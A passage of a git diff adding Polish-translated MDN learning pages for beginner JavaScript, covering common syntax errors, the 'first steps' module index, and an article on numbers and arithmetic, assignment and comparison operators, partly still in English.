+<p><strong>Notatka</strong>: Aby dowiedzieć się więcej o tym błędzie, odwiedź naszą stronę <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement">SyntaxError: missing ; before statement</a>.</p>
+</div>
+
+<h3 id="Program_zawsze_twierdzi_że_wygrałeś_niezależnie_od_wprowadzonej_liczby">Program zawsze twierdzi, że wygrałeś, niezależnie od wprowadzonej liczby</h3>
+
+<p>Może to być objawem pomieszania operatorów przypisania i dokładnego porównania. Przykładowo jeżeli byśmy zmienili tę linię w funkcji <code>checkGuess()</code>:</p>
+
+<pre class="brush: js">if (userGuess === randomNumber) {</pre>
+
+<p>na</p>
+
+<pre class="brush: js">if (userGuess = randomNumber) {</pre>
+
+<p>ten test zawsze zwróciłby <code>true</code> (prawdę), co sprawiłoby, że program za każdym razem twierdziłby, że gra została przez Ciebie wygrana. Uważaj na błędy!</p>
+
+<h3 id="SyntaxError_missing_)_after_argument_list">SyntaxError: missing ) after argument list</h3>
+
+<p>Ten błąd jest prosty — oznacza po prostu, że zapomniałeś dodać nawias zamykający na końcu funkcji/wywołania metody.</p>
+
+<div class="note">
+<p><strong>Notatka</strong>: Zobacz naszą  stronę referencyjną: <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list">SyntaxError: missing ) after argument list</a>, aby dowiedzieć się więcej o tym błędzie.</p>
+</div>
+
+<h3 id="SyntaxError_missing_after_property_id">SyntaxError: missing : after property id</h3>
+
+<p>Ten błąd zwykle jest związany z niepoprawnie napisanym obiektem JavaScript. Tym razem jednak został spowodowany zmianą</p>
+
+<pre class="brush: js">function checkGuess() {</pre>
+
+<p>na</p>
+
+<pre class="brush: js">function checkGuess( {</pre>
+
+<p>Ten błąd spowodował, że przeglądarka zinterpretowała ten kod jako próbę podania wnętrza funkcji jako parametr funkcji. Uważaj na nawiasy!</p>
+
+<h3 id="SyntaxError_missing_after_function_body">SyntaxError: missing } after function body</h3>
+
+<p>This is easy — it generally means that you've missed one of your curly braces from a function or conditional structure. We got this error by deleting one of the closing curly braces near the bottom of the <code>checkGuess()</code> function.</p>
+
+<h3 id="SyntaxError_expected_expression_got_'string'_or_SyntaxError_unterminated_string_literal">SyntaxError: expected expression, got '<em>string</em>' or SyntaxError: unterminated string literal</h3>
+
+<p>These errors generally mean that you've missed off a string value's opening or closing quote mark. In the first error above, <em>string</em> would be replaced with the unexpected character(s) that the browser found instead of a quote mark at the start of a string. The second error means that the string has not been ended with a quote mark.</p>
+
+<p>For all of these errors, think about how we tackled the examples we looked at in the walkthrough. When an error arises, look at the line number you are given, go to that line and see if you can spot what's wrong. Bear in mind that the error is not necessarily going to be on that line, and also that the error might not be caused by the exact same problem we cited above!</p>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unexpected_token">SyntaxError: Unexpected token</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal">SyntaxError: unterminated string literal</a> reference pages for more details about these errors.</p>
+</div>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>A wieć to jest to - podstawy szukania błędów w prostych programach w JS. Nie zawsze znalezienie błędu jest tak proste , ale przynajmniej ten artykuł może ci pomóc w zaoszczędzeniu kilku godzin snu i pozwolić na szybsze postępy w nauce.</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<div>
+<ul>
+ <li>Istnieje wiele innych typów błędów, które nie zostały tu przedstawione - tworzymy artykuł o tym, co one dokładnie oznaczają -zobacz <a href="/en-US/docs/Web/JavaScript/Reference/Errors">JavaScript error reference</a>.</li>
+ <li>Jeżeli napotkasz błędy w swoim kodzie, co do których nie jesteś pewny, jak je rozwiązać - nawet po lekturze tego artykułu - możesz uzyskać pomoc. Zapytaj na  <a class="external external-icon" href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a>, lub na kanale IRC  <a href="irc://irc.mozilla.org/mdn">#mdn</a> na <a class="external external-icon" href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Opisz swój błąd, a my spróbujemy Ci pomóc. Przedstawienie Twojego kodu będzie równie pomocne w owocnym rozwiązaniu problemu.</li>
+</ul>
+</div>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/pl/learn/javascript/pierwsze_kroki/index.html b/files/pl/learn/javascript/pierwsze_kroki/index.html
new file mode 100644
index 0000000000..ab90523dce
--- /dev/null
+++ b/files/pl/learn/javascript/pierwsze_kroki/index.html
@@ -0,0 +1,61 @@
+---
+title: Pierwsze kroki w Javascript
+slug: Learn/JavaScript/Pierwsze_kroki
+tags:
+ - Artykuły
+ - Liczby
+ - Moduły
+ - Operatory
+ - Początkujący
+ - Przewodnik
+ - Pętle
+ - Zmienne
+translation_of: Learn/JavaScript/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">W pierwszym module, przed rozpoczęciem praktycznego pisania kodu w JavaScript, odpowiemy sobie na kilka fundamentalnych pytań takich jak: "czym jest JavaScript?", "czym się charakteryzuje?" oraz "co potrafi?". Następnie omówimy kilka kluczowych kwestii - zmienne, ciągi znaków, liczby oraz pętle w JavaScript.</p>
+
+<h2 id="Wymagania">Wymagania</h2>
+
+<p>Przed rozpoczęciem nauki tego modułu nie musisz posiadać żadnej wiedzy o JavaScript, ale powinieneś już znać podstawowe zagadnienia związane z HTML-em oraz CSS-em. Doradzamy Ci, abyś ukończył moduły przedstawione poniżej:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Getting_started_with_the_web">Rozpoczęcie przygody z programowaniem</a> (zawiera <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">podstawy JavaScriptu</a>). </li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Wprowadzenie do HTML-a</a>.</li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Wprowadzenie do CSS-a</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Informacja</strong>: Jeżeli pracujesz na komputerze/tablecie/innym urządzeniu na którym nie masz możliwości tworzenia własnych plików, możesz wypróbować przedstawione przykłady w programach online, takich jak:  <a href="http://jsbin.com/">JSBin</a> lub <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Przewodnik">Przewodnik</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Learn/JavaScript/Pierwsze_kroki/What_is_JavaScript">Czym jest JavaScript?</a></dt>
+ <dd>Witamy w MDN-owym kursie JavaScript dla początkujących! W tym artykule spojrzymy na JavaScript jeszcze nieco ogólne i odpowiemy sobie na podstawowe pytania:  "co to jest?" oraz "co robi?". To ważne, by znać cele stosowania tego języka.</dd>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Learn/JavaScript/Pierwsze_kroki/A_first_splash">Pierwsze spojrzenie na JavaScript</a></dt>
+ <dd>Najpierw nauczysz się teorii JavaScript, oraz tego, co możesz zrobić za jego pomocą. Następnie przejdziesz przez instruktarz oparty o podstawowe cechy JavaScript, który będzie miał formę praktyczną - napiszesz prostą grę - "Zgadnij liczbę". Proces pisania pokażemy Ci krok po kroku.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">Coś poszło nie tak? Rozwiązywanie problemów w JavaScript</a></dt>
+ <dd>Podczas pisania gry "zgadnij liczbę" z poprzedniego artykułu możesz natrafić na trudności, które spowodują problemy z jej poprawnym działaniem. Spokojnie - ten artykuł uchroni Cię przed wyrywaniem sobie włosów podczas sprawdzania swojego kodu. Pokażemy Ci kilka prostych sposóbów wykrywania i eliminowania błędów w programie napisanym w Javascript.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Przechowywanie informacji, których potrzebujesz — Zmienne</a></dt>
+ <dd>Po przeczytaniu poprzednich artykułów powinieneś wiedzieć czym jest JavaScript, co może dla Ciebie zrobić, oraz jak możesz używać go wraz z innymi internetowymi technologiami. Ten artykuł poprowadzi Cię przez podstawowe "bloki", którymi będziesz posługiwać się podczas pisania programu w Javascript - zmienne.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Podstawy działań w JavaScript — liczby i operatory</a></dt>
+ <dd>W tym miesjcu kursu porozmawiamy o działaniach w JavaScript - dowiesz się jak możesz łączyć operatory oraz przeczytasz o innych cechach języka, aby poprawnie korzystać z liczb.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Przechowywanie tekstu — ciągi znaków w JavaScript</a></dt>
+ <dd>Następnie skupimy swoją uwagę na string-ach - tak nazywają się ciągi tekstu w programowaniu. W tym artykule spojrzymy na najważniejsze rzeczy, które potrzebujesz wiedzieć o ciągach znaków w JavaScript. Są nimi: tworzenie "string-ów", używanie cudzysłowia, oraz łączenie ze sobą ciągów znaków.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Użyteczne metody w string-ach</a></dt>
+ <dd>Po zaznajomieniu się z podstawami string-ów czas podnieść poprzeczkę. Zaczniemy mysleć o pomocnych operacjach, które możemy wykonać na ciągach znaków poprzez wbudowane funkcje, takie jak: obliczanie długości ciągu znaków, łączenie i rozdzielanie, zastępowanie jednego znaku innym i wiele więcej.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Pętle</a></dt>
+ <dd>W ostatnim artykule tego modułu przyjrzymy się pętlom - następnym sposobie przechowywania informacji w pojedynczej zmiennej. Dowiesz się tutaj dlaczego są one ważne, odkryjesz jak je stworzyć, dodać i usunąć z nich dane. </dd>
+</dl>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Poniższe podsumowanie sprawdzi Twoje rozumienie podstaw języka Javascript z powyższego przewodnika.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Generator niemądrych opowieści</a></dt>
+ <dd>W tej części zastosujesz zdobytą wiedzę, zebraną w powyższych artykułach, do stworzenia aplikacji - "Generatora niemądrych opowieści". Baw się dobrze!</dd>
+</dl>
diff --git a/files/pl/learn/javascript/pierwsze_kroki/math/index.html b/files/pl/learn/javascript/pierwsze_kroki/math/index.html
new file mode 100644
index 0000000000..3e5563d0da
--- /dev/null
+++ b/files/pl/learn/javascript/pierwsze_kroki/math/index.html
@@ -0,0 +1,455 @@
+---
+title: Basic math in JavaScript — numbers and operators
+slug: Learn/JavaScript/Pierwsze_kroki/Math
+translation_of: Learn/JavaScript/First_steps/Math
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">At this point in the course we discuss math in JavaScript — how we can use {{Glossary("Operator","operators")}} and other features to successfully manipulate numbers to do our bidding.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Prerequisites:</th>
+ <td>Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what JavaScript is.</td>
+ </tr>
+ <tr>
+ <th scope="row">Objective:</th>
+ <td>To gain familiarity with the basics of math in JavaScript.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wszyscy_kochają_matematykę">Wszyscy kochają matematykę</h2>
+
+<p>Ok, może nie. Niektórzy  kochają matematykę, inni nienawidzą  od kiedy musieli nauczyć się tabliczki mnożenia i dzielenia przez liczby wielocyfrowe w szkole podstawowej, a częśc jest gdzieś pośrodku. Ale nikt z nas nie może zaprzeczyć, temu że matematyka jest fundamentalną częścią życia, bez której nie zajdzie się daleko. Jest to szczególnie prawdziwe kiedy uczymy się programowania w JavaScript (lub jakimkolwiek innym języku) -   tak wiele z tego co robimy polega na przetwarzaniu danych liczbowych, obliczaniu nowych wartości i tak dalej, że nie będziesz zaskoczony, że JavaScript posiada w pełni funkcjonalny zestaw funkcji matematycznych.</p>
+
+<p>Artykuł omawia podstawy, które musisz znać na ten moment.</p>
+
+<h3 id="Typy_liczb">Typy liczb</h3>
+
+<p>W programowaniu, nawet na pozór łatwy system dziesiętny, który tak dobrze znamy jest bardziej skąplikowany niż mógłbyś sądzić. Używamy różnych terminów do opisania różnych typów liczb dziesiętnych, dla przykładu: </p>
+
+<ul>
+ <li><strong>Integers</strong> są to liczby całkowite, e.g. 10, 400, or -5.</li>
+ <li><strong>Floating point numbers</strong> (floats) have decimal points and decimal places, for example 12.5, and 56.7786543.</li>
+ <li><strong>Doubles</strong> are a specific type of floating point number that have greater precision than standard floating point numbers (meaning that they are accurate to a greater number of decimal places).</li>
+</ul>
+
+<p>We even have different types of number systems! Decimal is base 10 (meaning it uses 0–9 in each column), but we also have things like:</p>
+
+<ul>
+ <li><strong>Binary</strong> — The lowest level language of computers; 0s and 1s.</li>
+ <li><strong>Octal</strong> — Base 8, uses 0–7 in each column.</li>
+ <li><strong>Hexadecimal</strong> — Base 16, uses 0–9 and then a–f in each column. You may have encountered these numbers before when setting <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Hexadecimal_values">colors in CSS</a>.</li>
+</ul>
+
+<p><strong>Before you start to get worried about your brain melting, stop right there!</strong> For a start, we are just going to stick to decimal numbers throughout this course; you'll rarely come across a need to start thinking about other types, if ever.</p>
+
+<p>The second bit of good news is that unlike some other programming languages, JavaScript only has one data type for numbers, both integers and decimals — you guessed it, {{jsxref("Number")}}. This means that whatever type of numbers you are dealing with in JavaScript, you handle them in exactly the same way.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Actually, JavaScript has a second number type, {{Glossary("BigInt")}}, used for very, very large integers. But for the purposes of this course, we'll just worry about <code>Number</code> values.</p>
+</div>
+
+<h3 id="Its_all_numbers_to_me">It's all numbers to me</h3>
+
+<p>Let's quickly play with some numbers to reacquaint ourselves with the basic syntax we need. Enter the commands listed below into your <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a>.</p>
+
+<ol>
+ <li>First of all, let's declare a couple of variables and initialize them with an integer and a float, respectively, then type the variable names back in to check that everything is in order:
+ <pre class="brush: js notranslate">let myInt = 5;
+let myFloat = 6.667;
+myInt;
+myFloat;</pre>
+ </li>
+ <li>Number values are typed in without quote marks — try declaring and initializing a couple more variables containing numbers before you move on.</li>
+ <li>Now let's check that both our original variables are of the same datatype. There is an operator called {{jsxref("Operators/typeof", "typeof")}} in JavaScript that does this. Enter the below two lines as shown:
+ <pre class="brush: js notranslate">typeof myInt;
+typeof myFloat;</pre>
+ You should get <code>"number"</code> returned in both cases — this makes things a lot easier for us than if different numbers had different data types, and we had to deal with them in different ways. Phew!</li>
+</ol>
+
+<h3 id="Useful_Number_methods">Useful Number methods</h3>
+
+<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> object, an instance of which represents all standard numbers you'll use in your JavaScript, has a number of useful methods available on it for you to manipulate numbers. We don't cover these in detail in this article because we wanted to keep it as a simple introduction and only cover the real basic essentials for now; however, once you've read through this module a couple of times it is worth going to the object reference pages and learning more about what's available.</p>
+
+<p>For example, to round your number to a fixed number of decimal places, use the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed">toFixed()</a></code> method. Type the following lines into your browser's <a href="/en-US/docs/Tools/Web_Console">console</a>:</p>
+
+<pre class="brush: js notranslate">let lotsOfDecimal = 1.766584958675746364;
+lotsOfDecimal;
+let twoDecimalPlaces = lotsOfDecimal.toFixed(2);
+twoDecimalPlaces;</pre>
+
+<h3 id="Converting_to_number_data_types">Converting to number data types</h3>
+
+<p>Sometimes you might end up with a number that is stored as a string type, which makes it difficult to perform calculations with it. This most commonly happens when data is entered into a <a href="/en-US/docs/Learn/Forms">form</a> input, and the <a href="/en-US/docs/Web/HTML/Element/input/text">input type is text</a>. There is a way to solve this problem — passing the string value into the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/Number">Number()</a></code> constructor to return a number version of the same value.</p>
+
+<p>For example, try typing these lines into your console:</p>
+
+<pre class="brush: js notranslate">let myNumber = '74';
+myNumber + 3;</pre>
+
+<p>You end up with the result 743, not 77, because <code>myNumber</code> is actually defined as a string. You can test this by typing in the following:</p>
+
+<pre class="brush: js notranslate">typeof myNumber;</pre>
+
+<p>To fix the calculation, you can do this:</p>
+
+<pre class="brush: js notranslate">Number(myNumber) + 3;</pre>
+
+<h2 id="Arithmetic_operators">Arithmetic operators</h2>
+
+<p>Arithmetic operators are the basic operators that we use to do sums in JavaScript:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Operator</th>
+ <th scope="col">Name</th>
+ <th scope="col">Purpose</th>
+ <th scope="col">Example</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>+</code></td>
+ <td>Addition</td>
+ <td>Adds two numbers together.</td>
+ <td><code>6 + 9</code></td>
+ </tr>
+ <tr>
+ <td><code>-</code></td>
+ <td>Subtraction</td>
+ <td>Subtracts the right number from the left.</td>
+ <td><code>20 - 15</code></td>
+ </tr>
+ <tr>
+ <td><code>*</code></td>
+ <td>Multiplication</td>
+ <td>Multiplies two numbers together.</td>
+ <td><code>3 * 7</code></td>
+ </tr>
+ <tr>
+ <td><code>/</code></td>
+ <td>Division</td>
+ <td>Divides the left number by the right.</td>
+ <td><code>10 / 5</code></td>
+ </tr>
+ <tr>
+ <td><code>%</code></td>
+ <td>Remainder (sometimes called modulo)</td>
+ <td>
+ <p>Returns the remainder left over after you've divided the left number into a number of integer portions equal to the right number.</p>
+ </td>
+ <td>
+ <p><code>8 % 3</code> (returns 2, as three goes into 8 twice, leaving 2 left over).</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>**</code></td>
+ <td>Exponent</td>
+ <td>Raises a <code>base</code> number to the <code>exponent</code> power, that is, the <code>base</code> number multiplied by itself, <code>exponent</code> times. It was first Introduced in EcmaScript 2016.</td>
+ <td><code>5 ** 2</code> (returns <code>25</code>, which is the same as <code>5 * 5</code>).</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: You'll sometimes see numbers involved in arithmetic referred to as {{Glossary("Operand", "operands")}}.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: You may sometimes see exponents expressed using the older {{jsxref("Math.pow()")}} method, which works in a very similar way. For example, in <code>Math.pow(7, 3)</code>, <code>7</code> is the base and <code>3</code> is the exponent, so the result of the expression is <code>343</code>. <code>Math.pow(7, 3)</code> is equivalent to <code>7**3</code>.</p>
+</div>
+
+<p>We probably don't need to teach you how to do basic math, but we would like to test your understanding of the syntax involved. Try entering the examples below into your <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a> to familiarize yourself with the syntax.</p>
+
+<ol>
+ <li>First try entering some simple examples of your own, such as
+ <pre class="brush: js notranslate">10 + 7
+9 * 8
+60 % 3</pre>
+ </li>
+ <li>You can also try declaring and initializing some numbers inside variables, and try using those in the sums — the variables will behave exactly like the values they hold for the purposes of the sum. For example:
+ <pre class="brush: js notranslate">let num1 = 10;
+let num2 = 50;
+9 * num1;
+num1 ** 3;
+num2 / num1;</pre>
+ </li>
+ <li>Last for this section, try entering some more complex expressions, such as:
+ <pre class="brush: js notranslate">5 + 10 * 3;
+num2 % 9 * num1;
+num2 + num1 / 8 + 2;</pre>
+ </li>
+</ol>
+
+<p>Some of this last set of calculations might not give you quite the result you were expecting; the  section below might well give the answer as to why.</p>
+
+<h3 id="Operator_precedence">Operator precedence</h3>
+
+<p>Let's look at the last example from above, assuming that <code>num2</code> holds the value 50 and <code>num1</code> holds the value 10 (as originally stated above):</p>
+
+<pre class="brush: js notranslate">num2 + num1 / 8 + 2;</pre>
+
+<p>As a human being, you may read this as <em>"50 plus 10 equals 60"</em>, then <em>"8 plus 2 equals 10"</em>, and finally <em>"60 divided by 10 equals 6"</em>.</p>
+
+<p>But the browser does <em>"10 divided by 8 equals 1.25"</em>, then <em>"50 plus 1.25 plus 2 equals 53.25"</em>.</p>
+
+<p>This is because of <strong>operator precedence</strong> — some operators are applied before others when calculating the result of a calculation (referred to as an <em>expression</em>, in programming).  Operator precedence in JavaScript is the same as is taught in math classes in school — Multiply and divide are always done first, then add and subtract (the calculation is always evaluated from left to right).</p>
+
+<p>If you want to override operator precedence, you can put parentheses round the parts that you want to be explicitly dealt with first. So to get a result of 6, we could do this:</p>
+
+<pre class="brush: js notranslate">(num2 + num1) / (8 + 2);</pre>
+
+<p>Try it and see.</p>
+
+<div class="note">
+<p><strong>Note</strong>: A full list of all JavaScript operators and their precedence can be found in <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operator_precedence">Expressions and operators</a>.</p>
+</div>
+
+<h2 id="Increment_and_decrement_operators">Increment and decrement operators</h2>
+
+<p>Sometimes you'll want to repeatedly add or subtract one to or from a numeric variable value. This can be conveniently done using the increment (<code>++</code>) and decrement (<code>--</code>) operators. We used <code>++</code> in our "Guess the number" game back in our <a href="/en-US/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash">first splash into JavaScript</a> article, when we added 1 to our <code>guessCount</code> variable to keep track of how many guesses the user has left after each turn.</p>
+
+<pre class="brush: js notranslate">guessCount++;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: These operators are most commonly used in <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">loops</a>, which you'll learn about later on in the course. For example, say you wanted to loop through a list of prices, and add sales tax to each one. You'd use a loop to go through each value in turn and do the necessary calculation for adding the sales tax in each case. The incrementor is used to move to the next value when needed. We've actually provided a simple example showing how this is done — <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/loop.html">check it out live</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/maths/loop.html">look at the source code</a> to see if you can spot the incrementors! We'll look at loops in detail later on in the course.</p>
+</div>
+
+<p>Let's try playing with these in your console. For a start, note that you can't apply these directly to a number, which might seem strange, but we are assigning a variable a new updated value, not operating on the value itself. The following will return an error:</p>
+
+<pre class="brush: js notranslate">3++;</pre>
+
+<p>So, you can only increment an existing variable. Try this:</p>
+
+<pre class="brush: js notranslate">let num1 = 4;
+num1++;</pre>
+
+<p>Okay, strangeness number 2! When you do this, you'll see a value of 4 returned — this is because the browser returns the current value, <em>then</em> increments the variable. You can see that it's been incremented if you return the variable value again:</p>
+
+<pre class="brush: js notranslate">num1;</pre>
+
+<p>The same is true of <code>--</code> : try the following</p>
+
+<pre class="brush: js notranslate">let num2 = 6;
+num2--;
+num2;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can make the browser do it the other way round — increment/decrement the variable <em>then</em> return the value — by putting the operator at the start of the variable instead of the end. Try the above examples again, but this time use <code>++num1</code> and <code>--num2</code>.</p>
+</div>
+
+<h2 id="Assignment_operators">Assignment operators</h2>
+
+<p>Assignment operators are operators that assign a value to a variable. We have already used the most basic one, <code>=</code>, loads of times — it simply assigns the variable on the left the value stated on the right:</p>
+
+<pre class="brush: js notranslate">let x = 3; // x contains the value 3
+let y = 4; // y contains the value 4
+x = y; // x now contains the same value y contains, 4</pre>
+
+<p>But there are some more complex types, which provide useful shortcuts to keep your code neater and more efficient. The most common are listed below:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Operator</th>
+ <th scope="col">Name</th>
+ <th scope="col">Purpose</th>
+ <th scope="col">Example</th>
+ <th scope="col">Shortcut for</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>+=</code></td>
+ <td>Addition assignment</td>
+ <td>Adds the value on the right to the variable value on the left, then returns the new variable value</td>
+ <td style="white-space: nowrap;"><code>x += 4;</code></td>
+ <td style="white-space: nowrap;"><code>x = x + 4;</code></td>
+ </tr>
+ <tr>
+ <td><code>-=</code></td>
+ <td>Subtraction assignment</td>
+ <td>Subtracts the value on the right from the variable value on the left, and returns the new variable value</td>
+ <td style="white-space: nowrap;"><code>x -= 3;</code></td>
+ <td style="white-space: nowrap;"><code>x = x - 3;</code></td>
+ </tr>
+ <tr>
+ <td><code>*=</code></td>
+ <td>Multiplication assignment</td>
+ <td>Multiplies the variable value on the left by the value on the right, and returns the new variable value</td>
+ <td style="white-space: nowrap;"><code>x *= 3;</code></td>
+ <td style="white-space: nowrap;"><code>x = x * 3;</code></td>
+ </tr>
+ <tr>
+ <td><code>/=</code></td>
+ <td>Division assignment</td>
+ <td>Divides the variable value on the left by the value on the right, and returns the new variable value</td>
+ <td style="white-space: nowrap;"><code>x /= 5;</code></td>
+ <td style="white-space: nowrap;"><code>x = x / 5;</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Try typing some of the above examples into your console, to get an idea of how they work. In each case, see if you can guess what the value is before you type in the second line.</p>
+
+<p>Note that you can quite happily use other variables on the right hand side of each expression, for example:</p>
+
+<pre class="brush: js notranslate">let x = 3; // x contains the value 3
+let y = 4; // y contains the value 4
+x *= y; // x now contains the value 12</pre>
+
+<div class="note">
+<p><strong>Note</strong>: There are lots of <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">other assignment operators available</a>, but these are the basic ones you should learn now.</p>
+</div>
+
+<h2 id="Active_learning_sizing_a_canvas_box">Active learning: sizing a canvas box</h2>
+
+<p>In this exercise, you will manipulate some numbers and operators to change the size of a box. The box is drawn using a browser API called the {{domxref("Canvas API", "", "", "true")}}. There is no need to worry about how this works — just concentrate on the math for now. The width and height of the box (in pixels) are defined by the variables <code>x</code> and <code>y</code>, which are initially both given a value of 50.</p>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html", '100%', 620)}}</p>
+
+<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html">Open in new window</a></strong></p>
+
+<p>In the editable code box above, there are two lines marked with a comment that we'd like you to update to make the box grow/shrink to certain sizes, using certain operators and/or values in each case. Let's try the following:</p>
+
+<ul>
+ <li>Change the line that calculates x so the box is still 50px wide, but the 50 is calculated using the numbers 43 and 7 and an arithmetic operator.</li>
+ <li>Change the line that calculates y so the box is 75px high, but the 75 is calculated using the numbers 25 and 3 and an arithmetic operator.</li>
+ <li>Change the line that calculates x so the box is 250px wide, but the 250 is calculated using two numbers and the remainder (modulo) operator.</li>
+ <li>Change the line that calculates y so the box is 150px high, but the 150 is calculated using three numbers and the subtraction and division operators.</li>
+ <li>Change the line that calculates x so the box is 200px wide, but the 200 is calculated using the number 4 and an assignment operator.</li>
+ <li>Change the line that calculates y so the box is 200px high, but the 200 is calculated using the numbers 50 and 3, the multiplication operator, and the addition assignment operator.</li>
+</ul>
+
+<p>Don't worry if you totally mess the code up. You can always press the Reset button to get things working again. After you've answered all the above questions correctly, feel free to play with the code some more or create your own challenges.</p>
+
+<h2 id="Comparison_operators">Comparison operators</h2>
+
+<p>Sometimes we will want to run true/false tests, then act accordingly depending on the result of that test — to do this we use <strong>comparison operators</strong>.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Operator</th>
+ <th scope="col">Name</th>
+ <th scope="col">Purpose</th>
+ <th scope="col">Example</th>
+ </tr>
+ <tr>
+ <td><code>===</code></td>
+ <td>Strict equality</td>
+ <td>Tests whether the left and right values are identical to one another</td>
+ <td><code>5 === 2 + 4</code></td>
+ </tr>
+ <tr>
+ <td><code>!==</code></td>
+ <td>Strict-non-equality</td>
+ <td>Tests whether the left and right values are <strong>not</strong> identical to one another</td>
+ <td><code>5 !== 2 + 3</code></td>
+ </tr>
+ <tr>
+ <td><code>&lt;</code></td>
+ <td>Less than</td>
+ <td>Tests whether the left value is smaller than the right one.</td>
+ <td><code>10 &lt; 6</code></td>
+ </tr>
+ <tr>
+ <td><code>&gt;</code></td>
+ <td>Greater than</td>
+ <td>Tests whether the left value is greater than the right one.</td>
+ <td><code>10 &gt; 20</code></td>
+ </tr>
+ <tr>
+ <td><code>&lt;=</code></td>
+ <td>Less than or equal to</td>
+ <td>Tests whether the left value is smaller than or equal to the right one.</td>
+ <td><code>3 &lt;= 2</code></td>
+ </tr>
+ <tr>
+ <td><code>&gt;=</code></td>
+ <td>Greater than or equal to</td>
+ <td>Tests whether the left value is greater than or equal to the right one.</td>
+ <td><code>5 &gt;= 4</code></td>
+ </tr>
+ </thead>
+</table>
+
+<div class="note">
